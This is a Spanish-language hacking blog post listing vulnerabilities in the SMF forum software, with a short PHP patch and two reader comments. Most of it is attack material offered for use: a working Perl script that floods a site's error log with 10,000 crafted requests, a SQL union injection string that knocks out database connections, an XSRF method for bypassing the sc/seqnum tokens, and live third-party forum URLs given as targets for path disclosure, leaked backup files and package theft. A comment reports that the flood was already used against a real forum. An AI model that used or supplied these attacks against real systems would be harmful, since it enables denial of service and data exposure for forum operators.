Bugs SMF

Posted on 15:03 by Xianur0

Algunos Bugs SMF


El Log de Errores guarda básicamente cualquier mínimo error causado por los usuarios, bueno y si lo saturamos?

http://web/foro/index.php?action=help;page[]=loginout
(Full path disclosure)
esto creara un registro de error en el log:

Citar
2: Illegal offset type in isset or empty
Archivo: /var/www/xxxxxxxxxxxxxx.com/htdocs/Sources/Help.php
Linea: 65
?action=help;page[]=loginout


Este error se encuentra en Sources/Help.php en la linea 65:
Código:

if (!isset($_GET['page']) || !isset($context['all_pages'][$_GET['page']]))
$_GET['page'] = 'index';


Parchando:
Bueno esta clase de bugs quedan corregidos con el parche de seguridad que hice para el SMF. Pero igualmente aquí esta el otro de parche que lo corrige (colocar en el index.php arriba de todo (después del <?php y del header de información)

Código:

function juackers() {
echo "<script>alert('desgraciado lammer, que intentas?');</script><h1>Que Lammer Eres!</h1>";
exit();
}
foreach ($_GET as $key => $value) {
if(is_array($_GET["$key"])) {
juackers();
}
}


pueden cambiar la variable globalizada $_GET por alguna otra como $_REQUEST, etc.

XSRF:

Bueno siempre que se tiene que remitir información mediante un post en un SMF hay 2 inputs que básicamente deberían de funcionar como captchas estos son: seqnum y sc

Código:

<input type="hidden" name="sc" value="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" />
<input type="hidden" name="seqnum" value="xxxxxxxx" />


Pero estos se pueden saltar mediante un XSRF (cross site request forgery). Suponiendo que creamos un socket en ajax, un usuario con permiso de enviar un mensaje, cerrar post, cambiar titulo, borrar foros, etc... entra a una pagina con el socket, al tener la cookie el socket podria hacer un GET a la pagina y mediante el código que recibe podría parsear y sacar estos 2 valores, después simplemente crea otro socket, esta vez que envie un post con el sc y el seqnum, entonces podriamos ordenar que haga lo que sea.

Flooder por log de errores:

Código:

#!/usr/bin/perl
use LWP::UserAgent;
sub uso { print "[-]Uso: smf.pl [dominio]\n"; exit; }
my $host = $ARGV[0];
$host = shift || &uso;
$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');
$texto = "Xianur0 Was Here" x 15;
$req = HTTP::Request->new(GET => 'http://xianur0.phpnet.us/index.php?action=help;page['.$texto.']=loginout');
$req->header('Accept' => 'text/html');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
for($i = 0; $i<10000; $i++) {
$res = $ua->request($req);
if ($res->is_success) {
print "Enviados:".$i."\n";
} else {
print "Error: " . $res->status_line . "\n";
}
}


Errores de manejo de paquetes:

Error de manejo de paquetes por temporal, el SMF al subir una modificación y ejecutarla, hace una copia de seguridad de cada archivo PHP que es tocado, pero al finalizar la modificación, no la borra, entonces esta puede ser accedida por cualquier otro usuario:

http://foro.infiernohacker.com/index.php~
http://foro.level-23.com/index.php~
http://foro.el-hacker.com/index.php~
http://www.mepisimo.com/forum/Settings.php~
http://www.erautomotriz.com/forum/index.php~ (Agregada por yxed)

Error de Permisos de Archivos:

Algunos Archivos del SMF no están protegidos como deberían, por ejemplo:

http://foro.infiernohacker.com/Packages/installed.list

Esto puede ser usado para scanneo por paquetes (muchos paquetes que son enviados a SMF tienen fallas de seguridad como son XSS, SQL Inyection y en algunos casos RFI)

Obteniendo Directorio del servidor (útil para atacar free hostings)

http://foro.infiernohacker.com/SSI.php?ssi_layers
Código:

Notice: Undefined variable: ssi_layers in /home/infierno/public_html/foro/SSI.php on line 99
Hacking attempt...


y también sirve para crear logs pesados ya que estos errores se guardan directamente en:

http://foro.infiernohacker.com/error_log

Matando Conexiones SQL


Código de Prueba: -1/**/union/**/select/**/1,memberName,passwd/**/from/**/smf_members/*

Introducimos ese código en el buscador y el resultado:

Código:

Database Error: Lost connection to MySQL server during query
File: /home/vol4/phpnet.us/x/xxxxxxxxxxxx/xxxxxxxxxxxx.phpnet.us/htdocs/Sources/Search.php
Line: 1099Database Error: MySQL server has gone away
File: /home/vol4/phpnet.us/x/xxxxxxxxxxxx/xxxxxxxxxxxx.phpnet.us/htdocs/Sources/Load.php
Line: 2005


la configuración del buscador varia, Esto mas que nada sucede en la versiones updateadas, es decir, actualizadas a la 1.1.4:
Dentro del:
?action=managesearch

tiene que estar desactivada la opción: Activar búsqueda simple (?)

iré agregando mas conforme los encuentre en la DB de pandora's Box (foro mio que cerré) jeje


agrego algo, también se pueden robar paquetes subidos al servidor:

en el Packages/installed.list
aparese la lista de paquetes y el nombre con que se subieron los archivos, por ejemplo:

Registered Links|^|registered links|^|vbgamer45:RegLinks|^|1.0
YouTube BBCode|^|youtube|^|karlbenson:youtubebbcode|^|1.6
Auto Embed Video Clips|^|AEVC_v2.1.2.zip|^|karlbenson:autoembedvideoclips|^|2.1.2
SMF 1.0.13 / 1.1.5 / 2.0 b3.1 Update|^|smf_patch_1.0.13_1.1.5_2.0-b3.1.zip|^|smf:smf-1.0.13-1.1.5-2.0.b3.1|^|1.0


entonces para descargar los paquetes seria:

Packages/nombre_paquete.zip

por ejemplo:

http://foro.infiernohacker.com/Packages/smf_patch_1.0.13_1.1.5_2.0-b3.1.zip

(pongo la web de infiernohacker sin ánimos de joder, simplemente es un ejemplo, y de paso si quieren parchar háganlo Sonrisa...)

2 comentarios:

Lessiem Taralom dijo...

Ya estuvieron experimentando en mi foro con el flood de errores.......linda joda

Xianur0 dijo...

ahí deje como parcharlo bro, parchalo :)...